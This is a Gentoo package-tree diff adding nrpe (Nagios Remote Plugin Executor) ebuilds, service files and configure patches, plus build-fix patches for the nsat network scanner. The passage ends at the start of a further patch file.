++++ nrpe-2.15/configure.in 2014-04-19 09:20:50.406150828 -0700
+@@ -45,7 +45,7 @@
+ AC_HEADER_STDC
+ AC_HEADER_TIME
+ AC_HEADER_SYS_WAIT
+-AC_CHECK_HEADERS(ctype.h dirent.h errno.h fcntl.h getopt.h grp.h inttypes.h netdb.h pwd.h signal.h stdint.h strings.h string.h syslog.h tcpd.h unistd.h arpa/inet.h netinet/in.h socket.h sys/types.h sys/time.h sys/resource.h sys/wait.h sys/socket.h sys/stat.h)
++AC_CHECK_HEADERS(ctype.h dirent.h errno.h fcntl.h getopt.h grp.h inttypes.h netdb.h pwd.h signal.h stdint.h strings.h string.h syslog.h unistd.h arpa/inet.h netinet/in.h socket.h sys/types.h sys/time.h sys/resource.h sys/wait.h sys/socket.h sys/stat.h)
+
+ dnl Checks for typedefs, structures, and compiler characteristics.
+ AC_C_CONST
+@@ -164,11 +164,20 @@
+ AC_CHECK_LIB(nsl,main,SOCKETLIBS="$SOCKETLIBS -lnsl")
+ AC_CHECK_LIB(socket,socket,SOCKETLIBS="$SOCKETLIBS -lsocket")
+ AC_SUBST(SOCKETLIBS)
+-AC_CHECK_LIB(wrap,main,[
+- LIBWRAPLIBS="$LIBWRAPLIBS -lwrap"
++
++AC_ARG_ENABLE([tcp-wrapper],
++ AS_HELP_STRING([--disable-tcp-wrapper], [Disable building with TCP wrappers. *** DISABLING IS A SECURITY RISK! *** Read the SECURITY file before using this option! @<:@default=enable@:>@]))
++
++LIBWRAPLIBS=""
++AS_IF([test "x$enable_tcp_wrapper" != "xno"], [
++ AC_CHECK_LIB([wrap],[hosts_access],[
++ LIBWRAPLIBS="$LIBWRAPLIBS -lwrap"
+ AC_DEFINE(HAVE_LIBWRAP,[1],[Have the TCP wrappers library])
+- ])
++ AC_DEFINE(HAVE_TCPD_H,[1],[Have the TCP wrappers library])
++ ])
++])
+ AC_SUBST(LIBWRAPLIBS)
++
+ AC_CHECK_FUNCS(strdup strstr strtoul initgroups closesocket)
+
+ dnl socklen_t check - from curl
+@@ -440,8 +449,11 @@
+ AC_SUBST(TARGET_PLATFORM)
+
+ AC_ARG_ENABLE([command-args],
+- AS_HELP_STRING([--enable-command-args],[allows clients to specify command arguments. *** THIS IS A SECURITY RISK! *** Read the SECURITY file before using this option!]),
+- AC_DEFINE_UNQUOTED(ENABLE_COMMAND_ARGUMENTS,[1],[Enable command-line arguments]))
++ AS_HELP_STRING([--enable-command-args],[allows clients to specify command arguments. *** THIS IS A SECURITY RISK! *** Read the SECURITY file before using this option!]))
++
++AS_IF([test "x$enable_command_args" = "xyes"], [
++ AC_DEFINE(ENABLE_COMMAND_ARGUMENTS,[1],[Enable command-line arguments])
++])
+
+ AC_ARG_ENABLE([bash-command-substitution],
+ AS_HELP_STRING([--enable-bash-command-substitution],[allows clients to pass bash command substitutions of the form $(command). *** THIS IS A HIGH SECURITY RISK! *** Read the SECURITY file before using this option!]),
diff --git a/net-analyzer/nrpe/files/nrpe.init b/net-analyzer/nrpe/files/nrpe.init
new file mode 100644
index 000000000000..b1f343070eb6
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe.init
@@ -0,0 +1,50 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+: ${CFGFILE:=/etc/nagios/nrpe.cfg}
+
+get_config() {
+ [ -f ${CFGFILE} ] || return 1
+
+ sed -n -e 's:^[ \t]*'$1'=\([^#]\+\).*:\1:p' \
+ ${CFGFILE}
+}
+
+extra_started_commands="reload"
+
+command=/usr/libexec/${SVCNAME}
+command_args="-c ${CFGFILE} --daemon"
+pidfile=$(get_config pid_file)
+
+depend() {
+ config ${CFGFILE}
+}
+
+reload() {
+ ebegin "Reloading ${SVCNAME}"
+ kill -1 `cat ${pidfile}`
+ eend $?
+}
+
+start()
+{
+ mkdir -p $(dirname $pidfile)
+ local _background=
+ ebegin "Starting ${name:-$RC_SVCNAME}"
+ eval start-stop-daemon --start \
+ --exec $command \
+ ${procname:+--name} $procname \
+ ${pidfile:+--pidfile} $pidfile \
+ $_background $start_stop_daemon_args \
+ -- $command_args
+ if eend $? "Failed to start $RC_SVCNAME"; then
+ service_set_value "command" "${command}"
+ [ -n "${pidfile}" ] && service_set_value "pidfile" "${pidfile}"
+ [ -n "${procname}" ] && service_set_value "procname" "${procname}"
+ return 0
+ fi
+ return 1
+}
+
diff --git a/net-analyzer/nrpe/files/nrpe.service b/net-analyzer/nrpe/files/nrpe.service
new file mode 100644
index 000000000000..f6546d703cd4
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe.service
@@ -0,0 +1,11 @@
+[Unit]
+Description=Daemon to answer plugin requests from Nagios on remote hosts
+After=network.target
+Requires=network.target
+
+[Service]
+Type=forking
+ExecStart=/usr/libexec/nrpe -c /etc/nagios/nrpe.cfg -d
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/nrpe/files/nrpe.xinetd.2 b/net-analyzer/nrpe/files/nrpe.xinetd.2
new file mode 100644
index 000000000000..dd0331a88149
--- /dev/null
+++ b/net-analyzer/nrpe/files/nrpe.xinetd.2
@@ -0,0 +1,11 @@
+service nrpe {
+ socket_type = stream
+ protocol = tcp
+ wait = no
+ user = nagios
+ group = nagios
+ server = /usr/libexec/nrpe
+ server_args = -c /etc/nagios/nrpe.cfg --inetd
+# only_from = 127.0.0.1
+ disabled = yes
+}
diff --git a/net-analyzer/nrpe/metadata.xml b/net-analyzer/nrpe/metadata.xml
new file mode 100644
index 000000000000..144670b5c304
--- /dev/null
+++ b/net-analyzer/nrpe/metadata.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>sysadmin</herd>
+ <longdescription>
+ A daemon for allowing Nagios to connect directly to servers and
+ execute commands defined in a centralized configuration file.
+ </longdescription>
+ <use>
+ <flag name="command-args">
+ Build support for specifying the command-line arguments from the
+ Nagios/Icinga master. Make sure you understand the implications
+ of this flag as it can be a security risk.
+ </flag>
+ <flag name="minimal">
+ Only build the check plugins for Nagios/Icinga, and not the daemon.
+ </flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">nagios</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nrpe/nrpe-2.15-r1.ebuild b/net-analyzer/nrpe/nrpe-2.15-r1.ebuild
new file mode 100644
index 000000000000..4da68381e20d
--- /dev/null
+++ b/net-analyzer/nrpe/nrpe-2.15-r1.ebuild
@@ -0,0 +1,127 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils systemd toolchain-funcs multilib user autotools
+
+DESCRIPTION="Nagios Remote Plugin Executor"
+HOMEPAGE="http://www.nagios.org/"
+SRC_URI="mirror://sourceforge/nagios/${P}.tar.gz"
+
+LICENSE="GPL-2+"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE="command-args ssl tcpd minimal"
+
+DEPEND="ssl? ( dev-libs/openssl )
+ !minimal? ( tcpd? ( sys-apps/tcp-wrappers ) )"
+RDEPEND="${DEPEND}
+ !minimal? ( >=net-analyzer/nagios-plugins-1.3.0 )"
+
+pkg_setup() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /dev/null nagios
+
+ elog "If you plan to use \"nrpe_check_control\" then you may want to specify"
+ elog "different command and services files. You can override the defaults"
+ elog "through the \"NAGIOS_COMMAND_FILE\" and \"NAGIOS_SERVICES_FILE\" environment variables."
+ elog "NAGIOS_COMMAND_FILE=${NAGIOS_COMMAND_FILE:-/var/rw/nagios.cmd}"
+ elog "NAGIOS_SERVICES_FILE=${NAGIOS_SERVICES_FILE:-/etc/services.cfg}"
+}
+
+src_prepare() {
+ # Add support for large output,
+ # http://opsview-blog.opsera.com/dotorg/2008/08/enhancing-nrpe.html
+ epatch "${FILESDIR}"/${PN}-2.14-multiline.patch
+ # fix configure, among others #326367, #397603
+ epatch "${FILESDIR}"/${PN}-2.15-tcpd-et-al.patch
+ # otherwise autoconf will overwrite the custom include/config.h.in
+ epatch "${FILESDIR}"/${PN}-2.15-autoconf-header.patch
+ # improve handling of metachars for security
+ epatch "${FILESDIR}"/${PN}-2.15-metachar-security-fix.patch
+
+ sed -i -e '/define \(COMMAND\|SERVICES\)_FILE/d' contrib/nrpe_check_control.c || die
+
+ # change the default location of the pid file
+ sed -i -e '/pid_file/s:/var/run:/run:' sample-config/nrpe.cfg.in || die
+
+ # fix TFU handling of autoheader
+ sed -i -e '/#undef/d' include/config.h.in || die
+
+ eautoreconf
+}
+
+src_configure() {
+ local myconf
+ if use minimal; then
+ myconf="--disable-tcp-wrapper --disable-command-args"
+ else
+ myconf="$(use_enable tcpd tcp-wrapper) $(use_enable command-args)"
+ fi
+
+ econf \
+ --libexecdir=/usr/$(get_libdir)/nagios/plugins \
+ --localstatedir=/var/nagios \
+ --sysconfdir=/etc/nagios \
+ --with-nrpe-user=nagios \
+ --with-nrpe-group=nagios \
+ $(use_enable ssl) \
+ ${myconf}
+}
+
+src_compile() {
+ emake -C src check_nrpe $(use minimal || echo nrpe)
+
+ # Add nifty nrpe check tool
+ $(tc-getCC) ${CPPFLAGS} ${CFLAGS} \
+ -DCOMMAND_FILE=\"${NAGIOS_COMMAND_FILE:-/var/rw/nagios.cmd}\" \
+ -DSERVICES_FILE=\"${NAGIOS_SERVICES_FILE:-/etc/services.cfg}\" \
+ ${LDFLAGS} -o nrpe_check_control contrib/nrpe_check_control.c || die
+}
+
+src_install() {
+ dodoc LEGAL Changelog README SECURITY \
+ contrib/README.nrpe_check_control \
+ $(use ssl && echo README.SSL)
+
+ exeinto /usr/$(get_libdir)/nagios/plugins
+ doexe src/check_nrpe nrpe_check_control
+
+ use minimal && return 0
+
+ ## NON-MINIMAL INSTALL FOLLOWS ##
+
+ insinto /etc/nagios
+ newins sample-config/nrpe.cfg nrpe.cfg
+ fowners root:nagios /etc/nagios/nrpe.cfg
+ fperms 0640 /etc/nagios/nrpe.cfg
+
+ exeinto /usr/libexec
+ doexe src/nrpe
+
+ newinitd "${FILESDIR}"/nrpe.init nrpe
+ systemd_dounit "${FILESDIR}/${PN}.service"
+
+ insinto /etc/xinetd.d/
+ newins "${FILESDIR}/nrpe.xinetd.2" nrpe
+
+ if use tcpd; then
+ sed -i -e '/^reload()/, /^}/ d' -e '/extra_started_commands/s:reload::' \
+ "${D}"/etc/init.d/nrpe
+ fi
+}
+
+pkg_postinst() {
+ elog "If you are using the nrpe daemon, remember to edit"
+ elog "the config file /etc/nagios/nrpe.cfg"
+
+ if use command-args ; then
+ ewarn ""
+ ewarn "You have enabled command-args for NRPE. This enables"
+ ewarn "the ability for clients to supply arguments to commands"
+ ewarn "which should be run. "
+ ewarn "THIS IS CONSIDERED A SECURITY RISK!"
+ ewarn "Please read /usr/share/doc/${PF}/SECURITY.bz2 for more info"
+ fi
+}
diff --git a/net-analyzer/nrpe/nrpe-2.15-r2.ebuild b/net-analyzer/nrpe/nrpe-2.15-r2.ebuild
new file mode 100644
index 000000000000..b1bffa06e704
--- /dev/null
+++ b/net-analyzer/nrpe/nrpe-2.15-r2.ebuild
@@ -0,0 +1,129 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils systemd toolchain-funcs multilib user autotools
+
+DESCRIPTION="Nagios Remote Plugin Executor"
+HOMEPAGE="http://www.nagios.org/"
+SRC_URI="mirror://sourceforge/nagios/${P}.tar.gz"
+
+LICENSE="GPL-2+"
+SLOT="0"
+KEYWORDS="alpha amd64 hppa ppc ppc64 sparc x86"
+IUSE="command-args ssl tcpd minimal"
+
+DEPEND="ssl? ( dev-libs/openssl )
+ !minimal? ( tcpd? ( sys-apps/tcp-wrappers ) )"
+RDEPEND="${DEPEND}
+ !minimal? (
+ || ( net-analyzer/nagios-plugins net-analyzer/monitoring-plugins )
+ )"
+
+pkg_setup() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /dev/null nagios
+
+ elog "If you plan to use \"nrpe_check_control\" then you may want to specify"
+ elog "different command and services files. You can override the defaults"
+ elog "through the \"NAGIOS_COMMAND_FILE\" and \"NAGIOS_SERVICES_FILE\" environment variables."
+ elog "NAGIOS_COMMAND_FILE=${NAGIOS_COMMAND_FILE:-/var/rw/nagios.cmd}"
+ elog "NAGIOS_SERVICES_FILE=${NAGIOS_SERVICES_FILE:-/etc/services.cfg}"
+}
+
+src_prepare() {
+ # Add support for large output,
+ # http://opsview-blog.opsera.com/dotorg/2008/08/enhancing-nrpe.html
+ epatch "${FILESDIR}"/${PN}-2.14-multiline.patch
+ # fix configure, among others #326367, #397603
+ epatch "${FILESDIR}"/${PN}-2.15-tcpd-et-al.patch
+ # otherwise autoconf will overwrite the custom include/config.h.in
+ epatch "${FILESDIR}"/${PN}-2.15-autoconf-header.patch
+ # improve handling of metachars for security
+ epatch "${FILESDIR}"/${PN}-2.15-metachar-security-fix.patch
+
+ sed -i -e '/define \(COMMAND\|SERVICES\)_FILE/d' contrib/nrpe_check_control.c || die
+
+ # change the default location of the pid file
+ sed -i -e '/pid_file/s:/var/run:/run:' sample-config/nrpe.cfg.in || die
+
+ # fix TFU handling of autoheader
+ sed -i -e '/#undef/d' include/config.h.in || die
+
+ eautoreconf
+}
+
+src_configure() {
+ local myconf
+ if use minimal; then
+ myconf="--disable-tcp-wrapper --disable-command-args"
+ else
+ myconf="$(use_enable tcpd tcp-wrapper) $(use_enable command-args)"
+ fi
+
+ econf \
+ --libexecdir=/usr/$(get_libdir)/nagios/plugins \
+ --localstatedir=/var/nagios \
+ --sysconfdir=/etc/nagios \
+ --with-nrpe-user=nagios \
+ --with-nrpe-group=nagios \
+ $(use_enable ssl) \
+ ${myconf}
+}
+
+src_compile() {
+ emake -C src check_nrpe $(use minimal || echo nrpe)
+
+ # Add nifty nrpe check tool
+ $(tc-getCC) ${CPPFLAGS} ${CFLAGS} \
+ -DCOMMAND_FILE=\"${NAGIOS_COMMAND_FILE:-/var/rw/nagios.cmd}\" \
+ -DSERVICES_FILE=\"${NAGIOS_SERVICES_FILE:-/etc/services.cfg}\" \
+ ${LDFLAGS} -o nrpe_check_control contrib/nrpe_check_control.c || die
+}
+
+src_install() {
+ dodoc LEGAL Changelog README SECURITY \
+ contrib/README.nrpe_check_control \
+ $(use ssl && echo README.SSL)
+
+ exeinto /usr/$(get_libdir)/nagios/plugins
+ doexe src/check_nrpe nrpe_check_control
+
+ use minimal && return 0
+
+ ## NON-MINIMAL INSTALL FOLLOWS ##
+
+ insinto /etc/nagios
+ newins sample-config/nrpe.cfg nrpe.cfg
+ fowners root:nagios /etc/nagios/nrpe.cfg
+ fperms 0640 /etc/nagios/nrpe.cfg
+
+ exeinto /usr/libexec
+ doexe src/nrpe
+
+ newinitd "${FILESDIR}"/nrpe.init nrpe
+ systemd_dounit "${FILESDIR}/${PN}.service"
+
+ insinto /etc/xinetd.d/
+ newins "${FILESDIR}/nrpe.xinetd.2" nrpe
+
+ if use tcpd; then
+ sed -i -e '/^reload()/, /^}/ d' -e '/extra_started_commands/s:reload::' \
+ "${D}"/etc/init.d/nrpe
+ fi
+}
+
+pkg_postinst() {
+ elog "If you are using the nrpe daemon, remember to edit"
+ elog "the config file /etc/nagios/nrpe.cfg"
+
+ if use command-args ; then
+ ewarn ""
+ ewarn "You have enabled command-args for NRPE. This enables"
+ ewarn "the ability for clients to supply arguments to commands"
+ ewarn "which should be run. "
+ ewarn "THIS IS CONSIDERED A SECURITY RISK!"
+ ewarn "Please read /usr/share/doc/${PF}/SECURITY.bz2 for more info"
+ fi
+}
diff --git a/net-analyzer/nrpe/nrpe-2.15.ebuild b/net-analyzer/nrpe/nrpe-2.15.ebuild
new file mode 100644
index 000000000000..51046f676037
--- /dev/null
+++ b/net-analyzer/nrpe/nrpe-2.15.ebuild
@@ -0,0 +1,127 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils toolchain-funcs multilib user autotools
+
+DESCRIPTION="Nagios Remote Plugin Executor"
+HOMEPAGE="http://www.nagios.org/"
+SRC_URI="mirror://sourceforge/nagios/${P}.tar.gz"
+
+LICENSE="GPL-2+"
+SLOT="0"
+KEYWORDS="alpha amd64 hppa ppc ppc64 sparc x86"
+IUSE="command-args ssl tcpd minimal"
+
+DEPEND="ssl? ( dev-libs/openssl )
+ !minimal? ( tcpd? ( sys-apps/tcp-wrappers ) )"
+RDEPEND="${DEPEND}
+ !minimal? ( >=net-analyzer/nagios-plugins-1.3.0 )"
+
+pkg_setup() {
+ enewgroup nagios
+ enewuser nagios -1 /bin/bash /dev/null nagios
+
+ elog "If you plan to use \"nrpe_check_control\" then you may want to specify"
+ elog "different command and services files. You can override the defaults"
+ elog "through the \"NAGIOS_COMMAND_FILE\" and \"NAGIOS_SERVICES_FILE\" environment variables."
+ elog "NAGIOS_COMMAND_FILE=${NAGIOS_COMMAND_FILE:-/var/rw/nagios.cmd}"
+ elog "NAGIOS_SERVICES_FILE=${NAGIOS_SERVICES_FILE:-/etc/services.cfg}"
+}
+
+src_prepare() {
+ # Add support for large output,
+ # http://opsview-blog.opsera.com/dotorg/2008/08/enhancing-nrpe.html
+ epatch "${FILESDIR}"/${PN}-2.14-multiline.patch
+ # fix configure, among others #326367, #397603
+ epatch "${FILESDIR}"/${PN}-2.15-tcpd-et-al.patch
+ # otherwise autoconf will overwrite the custom include/config.h.in
+ epatch "${FILESDIR}"/${PN}-2.15-autoconf-header.patch
+ # improve handling of metachars for security
+ epatch "${FILESDIR}"/${PN}-2.15-metachar-security-fix.patch
+
+ sed -i -e '/define \(COMMAND\|SERVICES\)_FILE/d' contrib/nrpe_check_control.c || die
+
+ # change the default location of the pid file
+ sed -i -e '/pid_file/s:/var/run:/run:' sample-config/nrpe.cfg.in || die
+
+ # fix TFU handling of autoheader
+ sed -i -e '/#undef/d' include/config.h.in || die
+
+ eautoreconf
+}
+
+src_configure() {
+ local myconf
+ if use minimal; then
+ myconf="--disable-tcp-wrapper --disable-command-args"
+ else
+ myconf="$(use_enable tcpd tcp-wrapper) $(use_enable command-args)"
+ fi
+
+ econf \
+ --libexecdir=/usr/$(get_libdir)/nagios/plugins \
+ --localstatedir=/var/nagios \
+ --sysconfdir=/etc/nagios \
+ --with-nrpe-user=nagios \
+ --with-nrpe-group=nagios \
+ $(use_enable ssl) \
+ ${myconf}
+}
+
+src_compile() {
+ emake -C src check_nrpe $(use minimal || echo nrpe)
+
+ # Add nifty nrpe check tool
+ $(tc-getCC) ${CPPFLAGS} ${CFLAGS} \
+ -DCOMMAND_FILE=\"${NAGIOS_COMMAND_FILE:-/var/rw/nagios.cmd}\" \
+ -DSERVICES_FILE=\"${NAGIOS_SERVICES_FILE:-/etc/services.cfg}\" \
+ ${LDFLAGS} -o nrpe_check_control contrib/nrpe_check_control.c || die
+}
+
+src_install() {
+ dodoc LEGAL Changelog README SECURITY \
+ contrib/README.nrpe_check_control \
+ $(use ssl && echo README.SSL)
+
+ exeinto /usr/$(get_libdir)/nagios/plugins
+ doexe src/check_nrpe nrpe_check_control
+
+ use minimal && return 0
+
+ ## NON-MINIMAL INSTALL FOLLOWS ##
+
+ insinto /etc/nagios
+ newins sample-config/nrpe.cfg nrpe.cfg
+ fowners root:nagios /etc/nagios/nrpe.cfg
+ fperms 0640 /etc/nagios/nrpe.cfg
+
+ exeinto /usr/libexec
+ doexe src/nrpe
+
+ newinitd "${FILESDIR}"/nrpe.init nrpe
+
+ insinto /etc/xinetd.d/
+ newins "${FILESDIR}/nrpe.xinetd.2" nrpe
+
+ if use tcpd; then
+ sed -i -e '/^reload()/, /^}/ d' -e '/extra_started_commands/s:reload::' \
+ "${D}"/etc/init.d/nrpe
+ fi
+}
+
+pkg_postinst() {
+ elog "If you are using the nrpe daemon, remember to edit"
+ elog "the config file /etc/nagios/nrpe.cfg"
+
+ if use command-args ; then
+ ewarn ""
+ ewarn "You have enabled command-args for NRPE. This enables"
+ ewarn "the ability for clients to supply arguments to commands"
+ ewarn "which should be run. "
+ ewarn "THIS IS CONSIDERED A SECURITY RISK!"
+ ewarn "Please read /usr/share/doc/${PF}/SECURITY.bz2 for more info"
+ fi
+}
diff --git a/net-analyzer/nsat/Manifest b/net-analyzer/nsat/Manifest
new file mode 100644
index 000000000000..a800ee0cc2e1
--- /dev/null
+++ b/net-analyzer/nsat/Manifest
@@ -0,0 +1 @@
+DIST nsat-1.5.tgz 410603 SHA256 2ece807b3240a6e91ea88fd84c470a87de711c33554b231e071549388cb65114 SHA512 1a5b8e88f7bcacdbe1144a719a2e446c0ea025ad4e5f8c79ccb939083308cd2c1b2c1f3d7ab3b791924d5855994cbc3fded95aa36df23c12fd76fc20341a87d0 WHIRLPOOL 52cd94b75668bb3b7342090ec1ec9949b1e9324aabff4a0b03b251c0933829cd63eeb53877c463b282806896099ccbacaa01c390ef61c4b24e8c6d8e356fb5ff
diff --git a/net-analyzer/nsat/files/nsat-1.5-amd64-compat.patch b/net-analyzer/nsat/files/nsat-1.5-amd64-compat.patch
new file mode 100644
index 000000000000..883ad26cdfaf
--- /dev/null
+++ b/net-analyzer/nsat/files/nsat-1.5-amd64-compat.patch
@@ -0,0 +1,33 @@
+--- a/src/mod/xp_icmp_echo.c
++++ b/src/mod/xp_icmp_echo.c
+@@ -90,7 +90,7 @@
+ fprintf(stderr,"[%d bytes] sent, waiting for reponse.\n", res);
+ #endif
+
+- recv_pack = read_icmp(&res, ICMP_ECHOREPLY, -1);
++ recv_pack = read_icmp((ssize_t *)&res, ICMP_ECHOREPLY, -1);
+
+ if (recv_pack == NULL || (unsigned)res < sizeof(ip) + 8) {
+ #ifdef EBUG
+--- a/src/mod/xp_icmp_infr.c
++++ b/src/mod/xp_icmp_infr.c
+@@ -83,7 +83,7 @@
+ fprintf(stderr,"[%d bytes] sent, waiting for reponse.\n", res);
+ #endif
+
+- recv_pack = read_icmp(&res, ICMP_IREQREPLY, -1);
++ recv_pack = read_icmp((ssize_t *)&res, ICMP_IREQREPLY, -1);
+
+ if (recv_pack == NULL || (unsigned)res < sizeof(ip) + 8) {
+ #ifdef EBUG
+--- a/src/mod/xp_udp_probe.c
++++ b/src/mod/xp_udp_probe.c
+@@ -92,7 +92,7 @@
+ #ifdef EBUG
+ fprintf(stderr,"[%d bytes] sent, waiting for reponse.\n", res);
+ #endif
+- recv_pack = read_icmp(&res, ICMP_UNREACH, -1);
++ recv_pack = read_icmp((ssize_t *)&res, ICMP_UNREACH, -1);
+
+ if (recv_pack == NULL || (unsigned)res < sizeof(ip) + 8) {
+ #ifdef EBUG
diff --git a/net-analyzer/nsat/files/nsat-1.5-configure.patch b/net-analyzer/nsat/files/nsat-1.5-configure.patch
new file mode 100644
index 000000000000..d1bc1f95e6bb
--- /dev/null
+++ b/net-analyzer/nsat/files/nsat-1.5-configure.patch
@@ -0,0 +1,25 @@
+--- a/configure.in
++++ b/configure.in
+@@ -15,7 +15,6 @@
+ else
+ AC_MSG_RESULT(crappy :P)
+ fi
+- LEETCC=$ac_cv_prog_gcc;
+ AC_PROG_CXX
+ AC_PROG_INSTALL
+ AC_PROG_MAKE_SET
+@@ -45,11 +44,11 @@
+ if test $LEETCC = yes; then
+ CCOPTS='-Wall -O6 -funroll-loops -ansi -fPIC -DLINUX'
+ else
+- CCOPTS='-DLINUX'
++ CCOPTS="${CFLAGS} -DLINUX"
+ fi
+- CFLAGS="$CCOPTS"
+- SMBCFLAGS="-Wall -DLINUX -DNETGROUP -DALLOW_CHANGE_PASSWORD -DFAST_SHARE_MODES -DNO_ASMSIGNALH -DGLIBC2"
++ SMBCFLAGS="${CCOPTS} -Wall -DLINUX -DNETGROUP -DALLOW_CHANGE_PASSWORD -DFAST_SHARE_MODES -DNO_ASMSIGNALH -DGLIBC2"
+ SMBLFLAGS="-lnsl -lcrypt"
++ CFLAGS="${CCOPTS} -Wall -ansi -fPIC -DLINUX"
+ ;;
+ *Darwin* | *Mac* | *MAC*)
+ AC_MSG_RESULT(found MAC OS X)
diff --git a/net-analyzer/nsat/files/nsat-1.5-lvalue-gcc4.patch b/net-analyzer/nsat/files/nsat-1.5-lvalue-gcc4.patch
new file mode 100644
index 000000000000..b4020b3f47ed
--- /dev/null
+++ b/net-analyzer/nsat/files/nsat-1.5-lvalue-gcc4.patch
@@ -0,0 +1,11 @@
+--- a/src/smb/ADMsmb.c
++++ b/src/smb/ADMsmb.c
+@@ -123,7 +123,7 @@
+ {
+ usleep (100000);
+
+- if (recvfrom (socket_client, buffer2, sizeof (buffer2), 0, (struct sockaddr *) &sin_dst, &(int) longueur) != -1)
++ if (recvfrom (socket_client, buffer2, sizeof (buffer2), 0, (struct sockaddr *) &sin_dst, (int *) &longueur) != -1)
+ {
+
+ if (nmb2->rep_num != 0)
diff --git a/net-analyzer/nsat/files/nsat-1.5-misc.patch b/net-analyzer/nsat/files/nsat-1.5-misc.patch
new file mode 100644
index 000000000000..f94fd24527b5
--- /dev/null
+++ b/net-analyzer/nsat/files/nsat-1.5-misc.patch
@@ -0,0 +1,108 @@
+* link against dev-libs/libmix
+* parallel $(MAKE)
+* usr/local/ -> usr/
+* LDFLAGS
+* verbose CC
+
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -7,14 +7,14 @@
+ # # #### # # #
+
+ # Change me if you want...
+-INSTALL_PATH=/usr/local/bin
+-MAN_PATH=/usr/local/man
++INSTALL_PATH=/usr/bin
++MAN_PATH=/usr/man
+
+ # If you change this, change src/lang.h as well
+-DATA_PATH=/usr/local/share/nsat
++DATA_PATH=/usr/share/nsat
+
+ all:
+- @cd src;make all
++ @cd src; $(MAKE) all
+ @echo ""
+ @echo " Compiling is done!"
+ @echo " You can now 'make install' to put the files in place."
+@@ -58,5 +58,5 @@
+ doc/nsat.8:
+ @echo "Hmm, can't find manpage -- skipping :/"
+
+-nsat:
+- @make all
++nsat: src
++ $(MAKE) all
+--- a/src/Makefile.in
++++ b/src/Makefile.in
+@@ -21,22 +21,22 @@
+
+ MIXOBJ = libmix++/net/net.o libmix++/misc/misc.o libmix++/misc/exclude.o
+
+-all: ../smb-ns $(OBJ) modobj mixobj ../nsat
++all: ../smb-ns $(OBJ) modobj ../nsat
+
+ ../smb-ns:
+- @cd smb ; make smb
++ @cd smb ; $(MAKE) smb
+
+-mixobj: libmix++/Makefile
+- @cd libmix++ ; make
++#mixobj: libmix++/Makefile
++# @cd libmix++ ; $(MAKE)
+
+-libmix++/Makefile:
+- @cd .. ; ./configure
++#libmix++/Makefile:
++# @cd .. ; ./configure
+
+ modobj:
+- @cd mod ; make modobj
++ @cd mod ; $(MAKE) modobj
+
+-../nsat:
+- ${GPP} ${CFLAGS} ${OBJ} ${MODOBJ} ${MIXOBJ} -o ../nsat ${CLIB}
++../nsat: modobj
++ ${GPP} ${CFLAGS} ${LDFLAGS} ${OBJ} ${MODOBJ} ${MIXOBJ} -o ../nsat ${CLIB}
+
+ pidalloc.o:
+ ${GPP} ${CFLAGS} -c pidalloc.cpp
+@@ -63,11 +63,11 @@
+ ${GPP} ${CFLAGS} -c Logging.cpp
+
+ clean:
+- cd mod && make clean
++ cd mod && $(MAKE) clean
+ rm -f core *.o ../*.log *.log *~ ../nsat ../.nsrc ../.nspid
+
+ distclean: clean
+- @cd mod ; make clean
+- @cd smb ; make clean
+- @cd libmix++ ; make clean
++ @cd mod ; $(MAKE) clean
++ @cd smb ; $(MAKE) clean
++ @cd libmix++ ; $(MAKE) clean
+ rm -f mod/Makefile Makefile
+--- a/src/smb/Makefile.in
++++ b/src/smb/Makefile.in
+@@ -11,7 +11,6 @@
+ LIBDIR = $(BASEDIR)/lib
+ VARDIR = $(BASEDIR)/var
+ INSTALLPERMS = 0755
+-FLAGS1 = -O3
+ LIBS1 =
+ SHELL = /bin/sh
+ srcdir = ./
+@@ -53,10 +52,10 @@
+ .SUFFIXES: .c .o .h
+
+ .c.o: $(INCLUDES)
+- @$(CC) $(CFLAGS) -c $(srcdir)$*.c -o $(srcdir)$*.o
++ $(CC) $(CFLAGS) $(LDFLAGS) -c $(srcdir)$*.c -o $(srcdir)$*.o
+
+ smb: msg $(CLIENT_OBJ) $(ARCFOUR_OBJ)
+- @$(CC) $(CFLAGS) -o $(BINARY) $(CLIENT_OBJ) $(ARCFOUR_OBJ) $(LIBS)
++ $(CC) $(CFLAGS) $(LDFLAGS) -o $(BINARY) $(CLIENT_OBJ) $(ARCFOUR_OBJ) $(LIBS)
+ @echo done
+
+ msg:
diff --git a/net-analyzer/nsat/files/nsat-1.5-strip.patch b/net-analyzer/nsat/files/nsat-1.5-strip.patch
new file mode 100644
index 000000000000..99fe77633ad8
--- /dev/null
+++ b/net-analyzer/nsat/files/nsat-1.5-strip.patch
@@ -0,0 +1,10 @@
+--- a/src/Makefile.in
++++ b/src/Makefile.in
+@@ -37,7 +37,6 @@
+
+ ../nsat:
+ ${GPP} ${CFLAGS} ${OBJ} ${MODOBJ} ${MIXOBJ} -o ../nsat ${CLIB}
+- strip ../nsat
+
+ pidalloc.o:
+ ${GPP} ${CFLAGS} -c pidalloc.cpp
diff --git a/net-analyzer/nsat/files/nsat-1.5-va_list.patch b/net-analyzer/nsat/files/nsat-1.5-va_list.patch
new file mode 100644
index 000000000000..46bdd3bcc121
--- /dev/null
+++ b/net-analyzer/nsat/files/nsat-1.5-va_list.patch
@@ -0,0 +1,27 @@
